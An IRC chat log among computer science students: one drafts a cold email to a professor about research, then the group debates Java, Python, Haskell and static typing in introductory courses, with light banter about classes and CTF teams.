[2014-11-25T00:47:24-0500] <@awe>  (https://github.com/aaronweiss74). Last year, I also ran an online computer science and computer security competition called HSCTF that had over 2,000 participants. I’d love to have the opportunity to meet with you, and I hope that I’ll be able to get involved with research here as soon as possible.
[2014-11-25T00:47:24-0500] <@awe> Thanks,
[2014-11-25T00:47:24-0500] <@awe> Aaron Weiss
[2014-11-25T00:47:25-0500] <benwaffle> only if its written in C
[2014-11-25T00:47:28-0500] <@awe> It's not.
[2014-11-25T00:47:31-0500] <@awe> It's in English.
[2014-11-25T00:47:32-0500] <Tamini> benwaffle: wait i thought you knew alex katz
[2014-11-25T00:47:48-0500] <benwaffle> heard of him
[2014-11-25T00:47:59-0500] <Tamini> also i like it
[2014-11-25T00:48:00-0500] <Tamini> uh
[2014-11-25T00:48:20-0500] <Tamini> i would say something a little more specific about the projects
[2014-11-25T00:48:21-0500] <benwaffle> what is pumac
[2014-11-25T00:48:32-0500] <@LittleBobbyTables> It's "camup" backwards
[2014-11-25T00:48:35-0500] <Tamini> so he'd know you actually looked him up a bit in depth
[2014-11-25T00:48:40-0500] <Tamini> benwaffle: math competition :P
[2014-11-25T00:49:25-0500] <@awe> Tamini: is adding a parenthetical (especially X) good?
[2014-11-25T00:49:30-0500] <Tamini> yeah
[2014-11-25T00:49:32-0500] <Tamini> i think so
[2014-11-25T00:49:35-0500] <@awe> detection-related projects (especially Exterminator)
[2014-11-25T00:49:37-0500] <Tamini> it flatters him.
[2014-11-25T00:49:40-0500] <Tamini> yeah
[2014-11-25T00:49:52-0500] <@awe> He has this project that automatically corrects memory errors.
[2014-11-25T00:49:54-0500] <@awe> It's super cool.
[2014-11-25T00:49:54-0500] <Tamini> "and the like"
[2014-11-25T00:49:57-0500] <Tamini> isnt good
[2014-11-25T00:50:08-0500] <Tamini> and if you find it so cool, go into that a bit more
[2014-11-25T00:50:14-0500] <Tamini> at worst it makes him feel good.
[2014-11-25T00:51:05-0500] <@awe> I’ve also looked into some of the research that you’ve been doing, and I’m especially interested in the various error detection-related projects, especially Exterminator and DieHard. 
[2014-11-25T00:51:37-0500] <@awe> I’ve also looked into some of the research that you’ve been doing, and I’m especially interested in the various error detection-related projects, especially Exterminator and DieHard. A great deal of my interest in strong type systems is related to my interest in preventing entire classes of programmer error, and so I feel that that relates nicely. 
[2014-11-25T00:52:15-0500] <Tamini> yes
[2014-11-25T00:52:17-0500] <Tamini> well
[2014-11-25T00:52:23-0500] <Tamini> the last sentence could be left out
[2014-11-25T00:52:26-0500] <Tamini> subtlety is better
[2014-11-25T00:52:41-0500] <@awe> The last sentence being " I’d love to have the opportunity to meet with you, and I hope that I’ll be able to get involved with research here as soon as possible."
[2014-11-25T00:52:47-0500] <@awe> ?
[2014-11-25T00:52:48-0500] <Tamini> no like
[2014-11-25T00:52:55-0500] <Tamini> "so i feel that that relates nicely"
[2014-11-25T00:52:59-0500] <@awe> Oh, just that last clause.
[2014-11-25T00:53:00-0500] <@awe> Okay.
[2014-11-25T00:53:00-0500] <Tamini> leave that as implied
[2014-11-25T00:53:03-0500] <Tamini> it comes off badly
[2014-11-25T00:53:08-0500] <@awe> Okay.
[2014-11-25T00:53:20-0500] <@awe> I’ve also looked into some of the research that you’ve been doing, and I’m especially interested in the various error detection-related projects, especially Exterminator and DieHard. A great deal of my interest in strong type systems is related to my interest in preventing entire classes of programmer error.
[2014-11-25T00:53:29-0500] <Tamini> uhh
[2014-11-25T00:53:33-0500] <Tamini> put the last sentence
[2014-11-25T00:53:43-0500] <Tamini> before the projects like
[2014-11-25T00:54:35-0500] <Tamini> I'm especially interested in the various error detection-related projects, as a great deal of *different word for interest*....
[2014-11-25T00:54:38-0500] <Tamini> and then mention
[2014-11-25T00:54:55-0500] <Tamini> "i especially found ___ intriguing because ____"
[2014-11-25T00:55:44-0500] <@awe>  I’ve also looked into some of the research that you’ve been doing, and I’m especially interested in the various error detection-related projects. In particular, I’m interested in Exterminator and DieHard as a great deal of my interest in strong type systems is related to my interest in preventing entire classes of programmer error.
[2014-11-25T00:56:56-0500] <Tamini> yeah, that works
[2014-11-25T00:57:11-0500] <@awe> Okay, cool.
[2014-11-25T00:57:16-0500] <@awe> This feels super weird lol
[2014-11-25T00:57:17-0500] <Tamini> oh, also awe
[2014-11-25T00:57:20-0500] <Tamini> ??
[2014-11-25T00:57:28-0500] <@awe> Writing an email to someone I never met asking them to work with me.
[2014-11-25T00:57:35-0500] <Tamini> LOL
[2014-11-25T00:57:37-0500] <@awe> Or rather, to take me onto their work.
[2014-11-25T00:57:42-0500] <Tamini> it's a good experience.
[2014-11-25T00:57:49-0500] <Tamini> I have to do that over break darn
[2014-11-25T00:57:50-0500] <@awe> So, should I send it now?
[2014-11-25T00:57:58-0500] <Tamini> sure, yeah.
[2014-11-25T00:58:04-0500] <Tamini> nothing to lose~
[2014-11-25T00:58:09-0500] <Tamini> also after you send it
[2014-11-25T00:58:15-0500] <@awe> Okay, it's sent.
[2014-11-25T00:58:17-0500] <Tamini> i want to tell you something my friend said
[2014-11-25T00:58:22-0500] <Tamini> and ask you how you feel
[2014-11-25T00:58:28-0500] <@awe> Okay.
[2014-11-25T00:58:29-0500] <Tamini> (i kinda know, but still)
[2014-11-25T00:58:41-0500] <Tamini> He was writing a paper for english about cs
[2014-11-25T00:59:04-0500] <Tamini> and I think he was arguing that java should be phased out of introductory cs classes and replaced entirely with python
[2014-11-25T00:59:07-0500] <Tamini> opinions?
[2014-11-25T00:59:11-0500] <@awe> No.
[2014-11-25T00:59:12-0500] <@awe> Wrong way.
[2014-11-25T00:59:19-0500] <@awe> Introductory CS classes should be Haskell.
[2014-11-25T00:59:22-0500] <@awe> Why?
[2014-11-25T00:59:24-0500] <Tamini> LOL
[2014-11-25T00:59:26-0500] <Tamini> okay awe
[2014-11-25T00:59:27-0500] <@awe> You don't have to worry about complicated things.
[2014-11-25T00:59:29-0500] <Tamini> readability cmon
[2014-11-25T00:59:31-0500] <@awe> I have a serious argument about this.
[2014-11-25T00:59:34-0500] <@awe> Haskell is easy to read.
[2014-11-25T00:59:41-0500] <@awe> As long as you don't use lenses and stuff.
[2014-11-25T00:59:47-0500] <Tamini> but cool things
[2014-11-25T00:59:49-0500] <Tamini> and anyway
[2014-11-25T00:59:52-0500] <@awe> Basically, avoid the stuff that uses really fancy things.
[2014-11-25T00:59:58-0500] <Tamini> that's an irrelevant argument though
[2014-11-25T01:00:01-0500] <@awe> (i.e. operators)
[2014-11-25T01:00:02-0500] <Tamini> i'm asking purely about
[2014-11-25T01:00:07-0500] <Tamini> java vs. python
[2014-11-25T01:00:09-0500] <@awe> No, replacing it with Python is a bad idea.
[2014-11-25T01:00:36-0500] <Tamini> go on
[2014-11-25T01:00:51-0500] <@awe> One of the important things in CS education is the focus on building more complex software, methods for doing so, methods of abstraction, and so on.
[2014-11-25T01:01:09-0500] <@awe> Those things are best explored in languages that are well-suited to representing abstractions and well suited to dealing with and managing large, complex programs.
[2014-11-25T01:01:19-0500] <Tamini> oh, that's actually funny
[2014-11-25T01:01:22-0500] <Tamini> his argument is
[2014-11-25T01:01:48-0500] <Tamini> at the beginning, there's more value in readability and being able to focus on algorithm design over the syntax nightmares
[2014-11-25T01:01:56-0500] <@awe> >syntax nightmares
[2014-11-25T01:02:03-0500] <@awe> That's why I prefer Haskell as a learning language.
[2014-11-25T01:02:06-0500] <@awe> Haskell has very minimal syntax.
[2014-11-25T01:02:09-0500] <Tamini> :P
[2014-11-25T01:02:13-0500] <Tamini> awe you're digressing again
[2014-11-25T01:02:17-0500] <@awe> It's not a digression.
[2014-11-25T01:02:34-0500] <Tamini> it's veering away from the topic i proposed, though
[2014-11-25T01:02:43-0500] <@awe> His argument about readability is valid. It's nice to have people start in a language where they're not fighting syntax.
[2014-11-25T01:03:12-0500] <@awe> However, when you introduce people to programming through Python, you misrepresent the world of software and you risk encouraging people to overly value the ability to write code quickly.
[2014-11-25T01:03:20-0500] <@awe> The rate at which you produce code is less important than the correctness of your code.
[2014-11-25T01:03:39-0500] <Tamini> fair point
[2014-11-25T01:03:48-0500] <Tamini> now you can talk about haskell :P
[2014-11-25T01:03:50-0500] <@awe> While it's important with early exposure to some degree to mock up software and get things done faster, I think imposing correctness is extremely important.
[2014-11-25T01:04:01-0500] <Tamini> i've been reading the book, but I don't know what to use it for
[2014-11-25T01:04:11-0500] <@awe> In Java in school, we impose correctness in two ways: thorough unit testing and language semantics.
[2014-11-25T01:04:25-0500] <@awe> By using a language like Java, we force people to understand that the computer expects exactness.
[2014-11-25T01:04:29-0500] <@awe> The computer expects precision.
[2014-11-25T01:04:37-0500] <@awe> Anything less than that means that your program will not work.
[2014-11-25T01:04:49-0500] <Tamini> heh, that's true.
[2014-11-25T01:04:50-0500] <@awe> If you forgot a semicolon (a common mistake in introductory Java classes), your program doesn't work.
[2014-11-25T01:05:05-0500] <Tamini> but then that becomes the focus of it
[2014-11-25T01:05:08-0500] <Tamini> writing syntax
[2014-11-25T01:05:11-0500] <@awe> By getting you to think about the preciseness of what you're writing, it also gets you thinking about the preciseness of your thoughts.
[2014-11-25T01:05:13-0500] <Tamini> not writing algorithms
[2014-11-25T01:05:30-0500] <@awe> The problem is that the introductory courses aren't about algorithms.
[2014-11-25T01:05:38-0500] <@awe> They're about learning how to reason about software.
[2014-11-25T01:05:46-0500] <@awe> The best way to do that is to struggle with software.
[2014-11-25T01:05:48-0500] <Tamini> maybe we're taking
[2014-11-25T01:05:52-0500] <Tamini> different intro cs classes
[2014-11-25T01:05:53-0500] <Tamini> ._.
[2014-11-25T01:06:11-0500] <benwaffle> http://www.ustream.tv/z
[2014-11-25T01:06:21-0500] <@awe> At an undergraduate level, almost universally (save for a few schools like Princeton), the intro courses are going to be about learning to program and learning to reason about programs.
[2014-11-25T01:06:40-0500] <@awe> My data structures course has a primary focus on how to reason about data structures, not on algorithms underlying or relating to them.
[2014-11-25T01:06:45-0500] <@awe> It's just now at the end of the course that we're starting to touch on that.
[2014-11-25T01:06:58-0500] <Tamini> hmm.
[2014-11-25T01:07:04-0500] <@awe> The class before mine is even more strongly focused on writing software and reasoning about software.
[2014-11-25T01:07:19-0500] <Tamini> as an aside from this
[2014-11-25T01:07:23-0500] <Tamini> do you want to explain to me
[2014-11-25T01:07:33-0500] <Tamini> what you mean by reasoning about software?
[2014-11-25T01:07:38-0500] <Tamini> I'm legitimately curious
[2014-11-25T01:08:22-0500] <@awe> How do you think when you look at software?
[2014-11-25T01:08:32-0500] <@awe> How do you evaluate how individual parts interact?
[2014-11-25T01:08:42-0500] <@awe> How do you understand the broader interactions of your program?
[2014-11-25T01:09:05-0500] <@awe> How do you organize programs to best express your intentions?
[2014-11-25T01:09:28-0500] <Tamini> uhh
[2014-11-25T01:09:32-0500] <Tamini> specifics, that is.
[2014-11-25T01:09:46-0500] <Tamini> those are all very broad questions
[2014-11-25T01:10:33-0500] <@awe> Why would I use a list over a queue? What are the advantages of object-oriented programming? What is an object? What does writing object-oriented code suggest about what I'm doing? How does it impact the way I think about the problem I'm approaching?
[2014-11-25T01:12:13-0500] <@awe> Why would I separate UI functionality from logic functionality?
[2014-11-25T01:12:16-0500] <@awe> What impact does this have on the program?
[2014-11-25T01:12:36-0500] <@awe>  /s/UI functionality from logic functionality/UI from functionality/
[2014-11-25T01:21:58-0500] <Tamini> hmm
[2014-11-25T01:22:14-0500] <Tamini> how do you teach that directly?
[2014-11-25T01:28:33-0500] <@awe> You assign lots of non-theoretical assignments to people with limited exposure, and you have syntax-based assignments and stuff.
[2014-11-25T01:32:26-0500] <Tamini> hmm
[2014-11-25T01:32:30-0500] <Tamini> that's interesting.
[2014-11-25T01:32:37-0500] <Tamini> college classes sound fascinating
[2014-11-25T01:32:56-0500] <@LittleBobbyTables> Only sometimes.
[2014-11-25T01:34:39-0500] <Tamini> heh, why so?
[2014-11-25T01:37:14-0500] <@awe> Some classes are on interesting topics and run in engaging ways with engaging professors.
[2014-11-25T01:37:20-0500] <@awe> Some classes are shit shows.
[2014-11-25T01:42:46-0500] <Tamini> heh
[2014-11-25T01:42:53-0500] <@LittleBobbyTables> Welcome to real life :/
[2014-11-25T01:42:54-0500] <Tamini> isnt that the case with anything though
[2014-11-25T01:43:27-0500] <@awe> http://people.cs.umass.edu/~jvilk/
[2014-11-25T01:43:33-0500] <@awe> I am interested in bringing existing programming languages and operating system abstractions into the web browser in a portable manner using JavaScript. 
[2014-11-25T01:43:36-0500] <@awe> I think I vomited a little.
[2014-11-25T01:43:50-0500] <nezorg> I have to figure out what classes I want to take next quarter
[2014-11-25T01:44:19-0500] <nezorg> unfortunately there are literally no math classes that fit my schedule and for which I have the prereqs for
[2014-11-25T01:44:23-0500] <@LittleBobbyTables> CS 101
[2014-11-25T01:44:36-0500] <nezorg> 404 class not found
[2014-11-25T01:45:10-0500] <@LittleBobbyTables> Math 88
[2014-11-25T01:45:33-0500] <nezorg> 404 class not found
[2014-11-25T01:47:16-0500] <Tamini> nezorg: hey, you haven't been here all day :P
[2014-11-25T01:47:23-0500] <nezorg> there's a PL class that sounds interesting but I'm not sure if the prof would let me in
[2014-11-25T01:47:41-0500] <nezorg> Tamini: I've been productive today! :P
[2014-11-25T01:47:43-0500] <Tamini> also nezorg what can you take?
[2014-11-25T01:47:52-0500] <Tamini> nezorg: way to make me feel bad :P
[2014-11-25T01:48:10-0500] <Tamini> also tbh if you email in and ask nicely they probably would not say no
[2014-11-25T01:48:24-0500] <Tamini> nothing to lose
[2014-11-25T01:48:27-0500] <nezorg> well I'm not quite sure if i know the stuff i need to
[2014-11-25T01:49:22-0500] <Tamini> hmm
[2014-11-25T01:49:26-0500] <Tamini> what do you need to know?
[2014-11-25T01:50:22-0500] <nezorg> well its prereqs are CMPSC 130A and CMPSC 138
[2014-11-25T01:50:39-0500] <nezorg> the first is a fairly basic data structures and algos class
[2014-11-25T01:50:49-0500] <Tamini> you've probably got that down
[2014-11-25T01:51:25-0500] <nezorg> the second is on automata and formal languages, which I have some experience with, but not that much
[2014-11-25T01:51:30-0500] <Tamini> hmm
[2014-11-25T01:51:34-0500] <Tamini> why not take 138?
[2014-11-25T01:51:45-0500] <nezorg> it's not offered this quarter
[2014-11-25T01:52:25-0500] <@awe> nezorg: It's okay. I emailed a professor about research.
[2014-11-25T01:52:29-0500] <@awe> nezorg: You can try to get into a class.
[2014-11-25T01:52:58-0500] <Tamini> well tell him about it
[2014-11-25T01:53:00-0500] <Tamini> study it up
[2014-11-25T01:53:03-0500] <nezorg> awe: but I'm not sure if i know the stuff I need to
[2014-11-25T01:53:03-0500] <Tamini> go email in
[2014-11-25T01:53:13-0500] <nezorg> yeah I guess
[2014-11-25T01:53:14-0500] <Tamini> nezorg: you can learn!
[2014-11-25T01:53:14-0500] <@awe> nezorg: You're smart. You'll be fine.
[2014-11-25T01:53:16-0500] <Tamini> :P
[2014-11-25T01:53:18-0500] <Tamini> heh
[2014-11-25T01:53:23-0500] <Tamini> yoo
[2014-11-25T01:53:29-0500] <Tamini> nezorg: are you doing 9447?
[2014-11-25T01:53:57-0500] <nezorg> I think I'm going to play with shellphish
[2014-11-25T01:54:16-0500] <Tamini> darn
[2014-11-25T01:54:23-0500] <Tamini> why do you get on all these college teams
[2014-11-25T01:54:27-0500] <Tamini> why are you so pro i cant even
[2014-11-25T01:54:29-0500] <Tamini> :P
[2014-11-25T01:54:33-0500] <Tamini> such smart much wow
[2014-11-25T01:54:44-0500] <nezorg> well it's not like I'm on it
[2014-11-25T01:54:52-0500] <nezorg> more like they welcome any help :P
[2014-11-25T01:55:48-0500] <nezorg> heh
[2014-11-25T01:55:58-0500] <nezorg> shellphish is so pro we're already ranked #2
[2014-11-25T01:56:10-0500] <Tamini> haha
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[2014-11-25T01:56:19-0500] <Tamini> well i mean
[2014-11-25T01:56:27-0500] <Tamini> they definitely love and appreciate you
[2014-11-25T01:56:34-0500] <Tamini> judging from how amazing you are
[2014-11-25T01:57:14-0500] <nezorg> you over estimate my awesomeness, especially in comparison to some of their other team members'
[2014-11-25T01:57:42-0500] <nezorg> in other news
[2014-11-25T01:57:54-0500] <nezorg> the light bulb currently above me seems to be dying
[2014-11-25T01:58:06-0500] <@LittleBobbyTables> Give it cpr
[2014-11-25T01:58:13-0500] <nezorg> ...even though it's an LED bulb that we bought a couple weeks ago...
[2014-11-25T01:58:16-0500] <Tamini> LOL
[2014-11-25T01:58:21-0500] <Tamini> give a lightbulb cpr
[2014-11-25T01:58:23-0500] <Tamini> uhh
[2014-11-25T01:59:05-0500] <@LittleBobbyTables> I see literally 0 things wrong with that plan.
[2014-11-25T01:59:52-0500] <nezorg> awe: haskell syntax isn't simple, what are you smoking
[2014-11-25T02:00:04-0500] <nezorg> I thought you hadn't gotten money for your weed yet
[2014-11-25T02:00:13-0500] <Tamini> LOL
[2014-11-25T02:00:23-0500] <Tamini> Oh nezorg
[2014-11-25T02:00:30-0500] <Tamini> gimme your opinion my friend's POV
[2014-11-25T02:00:49-0500] <@awe> nezorg: the syntax is simple
[2014-11-25T02:00:53-0500] <nezorg> python is better than java imo
[2014-11-25T02:00:57-0500] <@awe> nezorg: remember, most of the stuff isn't syntax.
[2014-11-25T02:01:00-0500] <@awe> nezorg: * is not syntax.
[2014-11-25T02:01:03-0500] <@awe> nezorg: it's a function.
[2014-11-25T02:01:07-0500] <@awe> nezorg: functions are just data.
[2014-11-25T02:01:15-0500] <nezorg> awe: ...I'd argue there's still a lot of syntax
[2014-11-25T02:01:22-0500] <@awe> Relative to languages like Java?
[2014-11-25T02:01:26-0500] <nezorg> yeah
[2014-11-25T02:01:39-0500] <@awe> There's no enforcement of white space, and no enforcement of braces or anything.
[2014-11-25T02:01:55-0500] <nezorg> uh, definitely enforcement of one or the other
[2014-11-25T02:02:02-0500] <@awe> Wat?
[2014-11-25T02:02:25-0500] <nezorg> you can't write
[2014-11-25T02:02:34-0500] <nezorg> foo = a + b
[2014-11-25T02:02:42-0500] <nezorg> where a = 5
[2014-11-25T02:02:47-0500] <nezorg> oops
[2014-11-25T02:02:50-0500] <@awe> Yes you can?
[2014-11-25T02:03:01-0500] <@LittleBobbyTables> Wow, people who e-whore are retarded
[2014-11-25T02:03:21-0500] <@awe> nezorg: The other thing is that I think the syntax is close to something a lot of people know (i.e. math)
[2014-11-25T02:03:21-0500] <@LittleBobbyTables> "Help, I created 5 fake paypals and got them all limited, what can I do to unlimit them!? I have no legit information on them at all"
[2014-11-25T02:04:08-0500] <Tamini> lol
[2014-11-25T02:04:28-0500] <@awe> nezorg: So, even if you could convince me that it's more complex (which I'm open to being convinced of), I think it'd still be easier.
[2014-11-25T02:04:51-0500] <@LittleBobbyTables> ohwait you mentioning math reminded me of something
[2014-11-25T02:05:05-0500] <@LittleBobbyTables> Has anyone happened to see math used as an encryption before?
[2014-11-25T02:05:16-0500] <@LittleBobbyTables> Like, straight up math (bunch of cosines and shit)
[2014-11-25T02:05:37-0500] <nezorg> awe: this is invalid syntax: http://imgur.com/CPJC9qT
[2014-11-25T02:05:38-0500] <@LittleBobbyTables> Couldn't see any sort of ord() or whatever, just two variables set, and then a bunch of math.
[2014-11-25T02:06:13-0500] <Tamini> uhhh
[2014-11-25T02:06:17-0500] <Tamini> example?
[2014-11-25T02:06:29-0500] <Tamini> there's a lot of hard-to-reverse operations
[2014-11-25T02:06:32-0500] <@awe> nezorg: what makes it wrong?
[2014-11-25T02:06:43-0500] <@awe> nezorg: the lack of comma after 5,?
[2014-11-25T02:06:45-0500] <@LittleBobbyTables> I don't have any example with me
[2014-11-25T02:06:58-0500] <nezorg> awe: `a` isn't lined up with `b`
[2014-11-25T02:07:05-0500] <@awe> Wait, what?
[2014-11-25T02:07:09-0500] <@LittleBobbyTables> It was addition, subtraction, multiplication, and cosine.
[2014-11-25T02:07:11-0500] <@awe> Haskell doesn't enforce that, does it?
[2014-11-25T02:07:16-0500] <nezorg> it does
[2014-11-25T02:07:22-0500] <@awe> Wow.
[2014-11-25T02:07:24-0500] <nezorg> otherwise it would be impossible to parse
[2014-11-25T02:07:25-0500] <@awe> I forgot I guess.
[2014-11-25T02:07:31-0500] <@awe> It's been awhile since I've done stuff like that.
[2014-11-25T02:07:37-0500] <@awe> Well, any haskell at all.
[2014-11-25T02:07:49-0500] <@awe> But yeah, I mean, I still think it's close resemblance to math makes it easy.
[2014-11-25T02:07:54-0500] <@awe> syntactically.
[2014-11-25T02:08:19-0500] <nezorg> maybe... but a lot of things are genuinely harder to think about
[2014-11-25T02:08:33-0500] <nezorg> some people claim it's easier for beginners
[2014-11-25T02:08:43-0500] <@awe> I think it depends on what you teach.
[2014-11-25T02:08:50-0500] <@awe> i.e. doing computation and stuff is probably eaiser.
[2014-11-25T02:08:51-0500] <@awe> easier*
[2014-11-25T02:08:56-0500] <nezorg> but I have yet to see those claims substantiated with studies
[2014-11-25T02:08:59-0500] <@awe> I think getting into IO and stuff might get hairy.
[2014-11-25T02:09:00-0500] <nezorg> so idk
[2014-11-25T02:09:17-0500] <@awe> I think it'd be nice to introduce kids first to computation with Haskell
[2014-11-25T02:09:22-0500] <nezorg> IO can actually be really nice in haskell
[2014-11-25T02:09:22-0500] <@awe> and then to programming in Java
[2014-11-25T02:09:25-0500] <@awe> or in an ideal world, Rust.
[2014-11-25T02:09:46-0500] <@awe> Teaching people with weak types scares me.
[2014-11-25T02:09:59-0500] <nezorg> python has strong types
[2014-11-25T02:16:01-0500] <@awe> wat
[2014-11-25T02:17:06-0500] <@awe> nezorg: By what definition?
[2014-11-25T02:17:29-0500] <nezorg> it doesn't do implicit type changing
[2014-11-25T02:17:31-0500] <nezorg> like php
[2014-11-25T02:17:57-0500] <nezorg> it is strongly typed but not statically typed
[2014-11-25T02:18:04-0500] <@awe> I would consider duck typing weakly typed.
[2014-11-25T02:18:16-0500] <@awe> There is no well-defined definition of strongly-typed.
[2014-11-25T02:18:25-0500] <nezorg> true :P
[2014-11-25T02:18:42-0500] <@awe> I feel like since duck typing subverts a type system that it's weak typing.
[2014-11-25T02:19:02-0500] <@awe> I can see how you could define it as strongly typed given a definition focused on type casts.
[2014-11-25T02:19:36-0500] <@awe> I generally prefer static typing, too.
[2014-11-25T02:19:47-0500] <@awe> I want everything to be compile-time.
[2014-11-25T02:20:08-0500] <@awe> In an ideal world, I'd love it if the compiler would tell me that my program has any sort of bug.
[2014-11-25T02:20:11-0500] <nezorg> (and here I am in my little corner liking both...)
[2014-11-25T02:20:19-0500] <@awe> or even better if it could just fix it.
[2014-11-25T02:20:29-0500] <@awe> I understand the whole code faster premise of dynamic typing and stuff.
[2014-11-25T02:20:40-0500] <@awe> I just don't agree that that's what's important.
[2014-11-25T02:20:44-0500] <@awe> I want correct code, not code fast.
[2014-11-25T02:21:01-0500] <@LittleBobbyTables> Why not both?
[2014-11-25T02:21:24-0500] <nezorg> well for me it's more that you can hack (not security defn of hack) things better
[2014-11-25T02:21:24-0500] <@awe> If you could do both, absolutely.
[2014-11-25T02:21:29-0500] <@awe> Show me a way I can do both, and I'm happy.
[2014-11-25T02:21:39-0500] <@awe> I just see it as a choice between one or the other, at least in the current state of things.
[2014-11-25T02:21:52-0500] <nezorg> Box<Any>? :P
[2014-11-25T02:22:00-0500] <@awe> lol
[2014-11-25T02:22:17-0500] <@awe> No thanks.
[2014-11-25T02:22:51-0500] <@awe> But yeah, I mean, I get really worked up about static types because I feel like we're losing.
[2014-11-25T02:23:00-0500] <@awe> It scares me.
[2014-11-25T02:23:19-0500] <@awe> JavaScript and Python are incredibly popular for a wide assortment of things, and people are constantly trying to expand the usage of them.
[2014-11-25T02:23:37-0500] <@awe> And I'm just here like "No, I want my medical equipment to have static guarantees that it won't crash because of X, Y, and Z."
[2014-11-25T02:24:04-0500] <nezorg> methinks they'll both continue to exist and they'll be used for different kinds of things
[2014-11-25T02:24:09-0500] <@awe> Probably.
[2014-11-25T02:24:10-0500] <@LittleBobbyTables> night nezorg
[2014-11-25T02:24:20-0500] <nezorg> awe: don't see that transitioning from Ada anytime soon...
[2014-11-25T02:24:23-0500] <@LittleBobbyTables> night awe
[2014-11-25T02:24:26-0500] <nezorg> LittleBobbyTables: night
[2014-11-25T02:24:28-0500] <@awe> good night, LittleBobbyTables.
[2014-11-25T02:24:39-0500] <nezorg> not that that's a bad thing
[2014-11-25T02:24:50-0500] <nezorg> Ada is a really safe language
[2014-11-25T02:25:26-0500] <@awe> nezorg: Basically, I'm just concerned that if everybody is brought up on languages that I already know they'll like, they'll be less inclined to care about things like: strong type systems, static checking, memory, performance, etc.
[2014-11-25T02:25:30-0500] <@awe> Because I've seen it a ton.
[2014-11-25T02:25:40-0500] <@awe> I've had Python programmers tell me that performance doesn't matter.
[2014-11-25T02:25:43-0500] <@awe> A bunch of times.
[2014-11-25T02:26:01-0500] <nezorg> well, for a lot of things, it really doesn't!
[2014-11-25T02:26:12-0500] <@awe> I don't know what you define as a lot of things.
[2014-11-25T02:26:20-0500] <@awe> But I'm pissed off about the web.
[2014-11-25T02:26:28-0500] <@awe> 1.5 GB of memory to show me some text?
[2014-11-25T02:26:34-0500] <@awe> No thanks.
[2014-11-25T02:26:52-0500] <@awe> And we primarily have JavaScript to blame for that.
[2014-11-25T02:27:23-0500] <nezorg> memory's getting cheaper and cheaper, bloat has historically always increased with increased performance
[2014-11-25T02:27:30-0500] <@awe> I think that's an issue.
[2014-11-25T02:27:33-0500] <@awe> I don't think we want that.
[2014-11-25T02:27:47-0500] <@awe> It doesn't matter how cheap memory gets, I want reliable systems.
[2014-11-25T02:27:55-0500] <@awe> I don't want memory leaks.
[2014-11-25T02:28:54-0500] <@awe> I simply cannot accept the prospect that performance doesn't matter.
[2014-11-25T02:29:01-0500] <@awe> I think that's a useful fiction.
[2014-11-25T02:29:10-0500] <@awe> But a fiction nonetheless.
[2014-11-25T02:30:25-0500] <@awe> And when I say useful, I mean it's nice for getting a rough draft of something going.
[2014-11-25T02:30:38-0500] <@awe> But seriously, performance just about always matters.
[2014-11-25T02:30:53-0500] <@awe> If you intend for software to be run seriously, performance matters.
[2014-11-25T02:31:43-0500] <@awe> And the worst part is that a language like javascript gives you now facilities to even care.
[2014-11-25T02:31:49-0500] <@awe> It just uses up tons of memory.
[2014-11-25T02:32:01-0500] <@awe> There's not a lot that anyone can do at this point about the web being a bloat-fest.
[2014-11-25T02:32:23-0500] <@awe>  /s/now/no
[2014-11-25T02:33:02-0500] <@awe> nezorg: and what do we really gain if we always bloat when performance increases?
[2014-11-25T02:33:22-0500] <@awe> nezorg: A phone in my pocket is more powerful than a computer from 2004, but does my phone really do more?
[2014-11-25T02:33:31-0500] <nezorg> programming is easier
[2014-11-25T02:33:44-0500] <nezorg> that's the main advantage
[2014-11-25T02:33:44-0500] <@awe> But it's easier because we're doing it worse.
[2014-11-25T02:33:49-0500] <nezorg> well, sure
[2014-11-25T02:34:16-0500] <@awe> I want CS education to build good programmers capable of building reliable and efficient systems.
[2014-11-25T02:34:36-0500] <nezorg> that's a lofty goal
[2014-11-25T02:34:51-0500] <@awe> Why should I shoot for anything less than lofty?
[2014-11-25T02:34:58-0500] <@awe> It's a goal for a reason.
[2014-11-25T02:35:19-0500] <@awe> We were able to teach students in the past how to build reliable and efficient systems.
[2014-11-25T02:35:21-0500] <@awe> I think we can do it again.
[2014-11-25T02:35:36-0500] <@awe> Maybe that involves using languages like Rust and embedded hardware to impose arbitrary memory restrictions.
[2014-11-25T02:35:38-0500] <@awe> I don't know exactly.
[2014-11-25T02:35:41-0500] <nezorg> we can teach the same number, sure
[2014-11-25T02:35:49-0500] <nezorg> but we have so many more students now
[2014-11-25T02:36:01-0500] <nezorg> most of them not as capable
[2014-11-25T02:36:08-0500] <@awe> I don't think having more programmers is a good thing if most of them suck.
[2014-11-25T02:36:30-0500] <nezorg> the advantage is much more variety and diversity in what they create
[2014-11-25T02:36:42-0500] <@awe> The disadvantage is much less quality.
[2014-11-25T02:37:08-0500] <nezorg> average quality is worse, sure, but i don't think there's less quality
[2014-11-25T02:37:25-0500] <@awe> If you said to me, "Hey, let's start computing education as soon as school starts and the first languages they'll learn is JavaScript and Python."
[2014-11-25T02:37:29-0500] <@awe> I'd say great.
[2014-11-25T02:37:44-0500] <@awe> As long as high school and especially university were strongly typed languages.
[2014-11-25T02:38:06-0500] <@awe> I think anyone who's studying to be a computer scientist needs to be held to the standards of reliability and efficiency.
[2014-11-25T02:38:17-0500] <@awe> I think everyone should be taught the parts about creation.
[2014-11-25T02:38:47-0500] <@awe> I think making university education hold less to the principles of reliability and efficiency is a bad idea
[2014-11-25T02:39:12-0500] <@awe> I don't think we need to produce a ton of people doing programming as a career.
[2014-11-25T02:39:32-0500] <@awe> And I think that everyone doing it as a career needs to be good.
[2014-11-25T02:40:13-0500] <@awe> But yeah, I'm down for every person knowing how to make something to help breed new ideas.
[2014-11-25T02:40:30-0500] <@awe> And I'm definitely down for people in a broad sense understanding what we do and the fact that it's not actually magic.
[2014-11-25T02:48:22-0500] <@awe> nezorg: I don't think there's as much of a serious focus on software that will run forever.
[2014-11-25T02:49:18-0500] <nezorg> awe: well, yeah, because a smaller proportion of the software that people build today needs to run forever
[2014-11-25T02:50:13-0500] <@awe> I don't think that's true.
[2014-11-25T02:50:30-0500] <@awe> Websites need to run forever.
[2014-11-25T02:50:53-0500] <nezorg> not nearly as forever as compared to stuff being built in the 80s
[2014-11-25T02:51:13-0500] <@awe> What about all the people who end up working at these infrastructure companies?
[2014-11-25T02:51:18-0500] <@awe> Google, Microsoft, Amazon, etc.
[2014-11-25T02:51:37-0500] <nezorg> they'll be the cream of the crop and will have the right education to do that
[2014-11-25T02:51:55-0500] <@awe> Why do we want most people to get a different education from the best people?
[2014-11-25T02:52:31-0500] <nezorg> because not everyone has the experience or capability needed
